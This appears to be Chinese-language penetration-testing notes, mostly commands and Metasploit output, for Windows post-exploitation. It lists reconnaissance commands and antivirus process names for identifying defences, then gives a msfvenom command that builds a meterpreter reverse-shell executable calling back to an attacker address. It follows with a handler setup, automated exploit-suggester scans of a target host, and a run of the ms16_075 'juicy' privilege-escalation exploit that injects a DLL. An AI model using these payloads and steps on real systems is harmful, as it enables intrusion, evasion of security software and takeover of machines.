systeminfo  查询系统信息hostname    主机名net user    查看用户信息netstat -ano|find "3389"   查看服务pid号wmic os get caption        查看系统名wmic qfe get Description,HotFixID,InstalledOn   查看补丁信息wmic product get name,version   查看当前安装程序wmic service list brief   查询本机服务wmic process list brief   查询本机进程net share   查看本机共享列表netsh firewall show config  查看防火墙配置

360sd.exe     360杀毒360tray.exe   360实时保护ZhuDongFangYu.exe   360主动防御KSafeTray.exe 金山卫士SafeDogUpdateCenter.exe   安全狗McAfee McShield.exe   McAfeeegui.exe    NOD32AVP.exe     卡巴斯基avguard.exe  小红伞bdagent.exe  BitDefenderRavMonD.exe  瑞星杀毒QQPCRTP.exe  QQ电脑管家hipstray.exe 火绒杀毒

命令：msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.20 LPORT=3333 -f exe -o msf.exeLHOST=kali地址LPORT=自定义设置一个端口

msf6 > use exploit/multi/handler    [*] Using configured payload generic/shell_reverse_tcp   msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp    ##配置监听TCPpayload => windows/meterpreter/reverse_tcpmsf6 exploit(multi/handler) > set lport 3333    ##配置监听端口lport => 3333msf6 exploit(multi/handler) > set lhost 0.0.0.0  ##配置监听地址，你也可以设置监听本机地址如192.168.10.20lhost => 0.0.0.0msf6 exploit(multi/handler) > run  ##开始监听

use post/windows/gather/enum_patches 半自动：根据漏洞编号找出系统中安装的补丁

msf6 exploit(multi/handler) > use post/windows/gather/enum_patches   ##设置半自动提权msf6 post(windows/gather/enum_patches) > options  ##查看参数
Module options (post/windows/gather/enum_patches):
   Name     Current Setting  Required  Description   ----     ---------------  --------  -----------   SESSION  1                yes       The session to run this module on

View the full module info with the info, or info -d command.
msf6 post(windows/gather/enum_patches) > set session 2  ##设置编号，也就是刚刚上线的编号。session => 2msf6 post(windows/gather/enum_patches) > run  ##开始收集
[*] Running module against ADMIN-PC (192.168.10.40)
Installed Patches=================
  HotFix ID  Install Date  ---------  ------------  KB2534111  1/5/2023  KB976902   11/21/2010
[*] Patch list saved to /root/.msf4/loot/20230316101403_default_192.168.10.40_enum_patches_978734.txt[*] Post module execution completed

use post/multi/recon/local_exploit_suggester 全自动：快速识别系统中可能利用的漏洞

msf6 > use post/multi/recon/local_exploit_suggester  ##设置全自动化提权msf6 post(multi/recon/local_exploit_suggester) > options   ##设置参数
Module options (post/multi/recon/local_exploit_suggester):
   Name             Current Setting  Required  Description   ----             ---------------  --------  -----------   SESSION                           yes       The session to run this module on   SHOWDESCRIPTION  false            yes       Displays a detailed description for the available exploits

View the full module info with the info, or info -d command.
msf6 post(multi/recon/local_exploit_suggester) > set session 2   ##设置会话编号session => 2msf6 post(multi/recon/local_exploit_suggester) > run  ##开始检测

msf6 post(multi/recon/local_exploit_suggester) > run
[*] 192.168.10.40 - Collecting local exploits for x86/windows...[*] 192.168.10.40 - 174 exploit checks are being tried...[+] 192.168.10.40 - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.[+] 192.168.10.40 - exploit/windows/local/ikeext_service: The target appears to be vulnerable.[+] 192.168.10.40 - exploit/windows/local/ms10_092_schelevator: The service is running, but could not be validated.[+] 192.168.10.40 - exploit/windows/local/ms13_053_schlamperei: The target appears to be vulnerable.[+] 192.168.10.40 - exploit/windows/local/ms13_081_track_popup_menu: The target appears to be vulnerable.[+] 192.168.10.40 - exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable.[+] 192.168.10.40 - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable.[+] 192.168.10.40 - exploit/windows/local/ntusermndragover: The target appears to be vulnerable.[+] 192.168.10.40 - exploit/windows/local/ppr_flatten_rec: The target appears to be vulnerable.[+] 192.168.10.40 - exploit/windows/local/tokenmagic: The target appears to be vulnerable.[*] Running check method for exploit 41 / 41[*] 192.168.10.40 - Valid modules for session 2:============================
 #   Name                                                           Potentially Vulnerable?  Check Result -   ----                                                           -----------------------  ------------ 1   exploit/windows/local/bypassuac_eventvwr                       Yes                      The target appears to be vulnerable. 2   exploit/windows/local/ikeext_service                           Yes                      The target appears to be vulnerable. 3   exploit/windows/local/ms10_092_schelevator                     Yes                      The service is running, but could not be validated. 4   exploit/windows/local/ms13_053_schlamperei                     Yes                      The target appears to be vulnerable. 5   exploit/windows/local/ms13_081_track_popup_menu                Yes                      The target appears to be vulnerable. 6   exploit/windows/local/ms14_058_track_popup_menu                Yes                      The target appears to be vulnerable. 7   exploit/windows/local/ms15_051_client_copy_image               Yes                      The target appears to be vulnerable. 8   exploit/windows/local/ntusermndragover                         Yes                      The target appears to be vulnerable. 9   exploit/windows/local/ppr_flatten_rec                          Yes                      The target appears to be vulnerable. 10  exploit/windows/local/tokenmagic                               Yes                      The target appears to be vulnerable. 11  exploit/windows/local/adobe_sandbox_adobecollabsync            No                       Cannot reliably check exploitability. 12  exploit/windows/local/agnitum_outpost_acs                      No                       The target is not exploitable. 13  exploit/windows/local/always_install_elevated                  No                       The target is not exploitable. 14  exploit/windows/local/anyconnect_lpe                           No                       The target is not exploitable. vpndownloader.exe not found on file system 15  exploit/windows/local/bits_ntlm_token_impersonation            No                       The target is not exploitable. 16  exploit/windows/local/bthpan                                   No                       The target is not exploitable. 17  exploit/windows/local/bypassuac_fodhelper                      No                       The target is not exploitable. 18  exploit/windows/local/bypassuac_sluihijack                     No                       The target is not exploitable. 19  exploit/windows/local/canon_driver_privesc                     No                       The target is not exploitable. No Canon TR150 driver directory found 20  exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move   No                       The target is not exploitable. The build number of the target machine does not appear to be a vulnerable version! 21  exploit/windows/local/cve_2020_1048_printerdemon               No                       The target is not exploitable. 22  exploit/windows/local/cve_2020_1337_printerdemon               No                       The target is not exploitable. 23  exploit/windows/local/gog_galaxyclientservice_privesc          No                       The target is not exploitable. Galaxy Client Service not found 24  exploit/windows/local/ipass_launch_app                         No                       The target is not exploitable. 25  exploit/windows/local/lenovo_systemupdate                      No                       The target is not exploitable. 26  exploit/windows/local/lexmark_driver_privesc                   No                       The check raised an exception. 27  exploit/windows/local/mqac_write                               No                       The target is not exploitable. 28  exploit/windows/local/ms10_015_kitrap0d                        No                       The target is not exploitable. 29  exploit/windows/local/ms14_070_tcpip_ioctl                     No                       The target is not exploitable. 30  exploit/windows/local/ms15_004_tswbproxy                       No                       The target is not exploitable. 31  exploit/windows/local/ms16_016_webdav                          No                       The target is not exploitable. 32  exploit/windows/local/ms16_032_secondary_logon_handle_privesc  No                       The target is not exploitable. 33  exploit/windows/local/ms16_075_reflection                      No                       The target is not exploitable. 34  exploit/windows/local/ms16_075_reflection_juicy                No                       The target is not exploitable. 35  exploit/windows/local/ms_ndproxy                               No                       The target is not exploitable. 36  exploit/windows/local/novell_client_nicm                       No                       The target is not exploitable. 37  exploit/windows/local/ntapphelpcachecontrol                    No                       The target is not exploitable. 38  exploit/windows/local/panda_psevents                           No                       The target is not exploitable. 39  exploit/windows/local/ricoh_driver_privesc                     No                       The target is not exploitable. No Ricoh driver directory found 40  exploit/windows/local/virtual_box_guest_additions              No                       The target is not exploitable. 41  exploit/windows/local/webexec                                  No                       The target is not exploitable.
[*] Post module execution completed

msf6 post(multi/recon/local_exploit_suggester)> use exploit/windows/local/ms16_075_reflection_juicy[*] No payload configured, defaulting to windows/meterpreter/reverse_tcpmsf6 exploit(windows/local/ms16_075_reflection_juicy) > options 
Module options (exploit/windows/local/ms16_075_reflection_juicy):
   Name     Current Setting                         Required  Description   ----     ---------------                         --------  -----------   CLSID    {4991d34b-80a1-4291-83b6-3328366b9097}  yes       Set CLSID value of the DCOM to trigger   SESSION                                          yes       The session to run this module on

Payload options (windows/meterpreter/reverse_tcp):
   Name      Current Setting  Required  Description   ----      ---------------  --------  -----------   EXITFUNC  none             yes       Exit technique (Accepted: '', seh, thread, process, none)   LHOST     192.168.10.20    yes       The listen address (an interface may be specified)   LPORT     4444             yes       The listen port

Exploit target:
   Id  Name   --  ----   0   Automatic


View the full module info with the info, or info -d command.
msf6 exploit(windows/local/ms16_075_reflection_juicy) > set session 3session => 3msf6 exploit(windows/local/ms16_075_reflection_juicy) > set lport 6666lport => 6666msf6 exploit(windows/local/ms16_075_reflection_juicy) > run
[-] Handler failed to bind to 192.168.10.20:6666:-  -[-] Handler failed to bind to 0.0.0.0:6666:-  -[+] Target appears to be vulnerable (Windows 2012 R2 (6.3 Build 9600).)[*] Launching notepad to host the exploit...[+] Process 1404 launched.[*] Reflectively injecting the exploit DLL into 1404...[*] Injecting exploit into 1404...[*] Exploit injected. Injecting exploit configuration into 1404...[*] Configuration injected. Executing exploit...[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.[*] Exploit completed, but no session was created.msf6 exploit(windows/local/ms16_075_reflection_juicy) >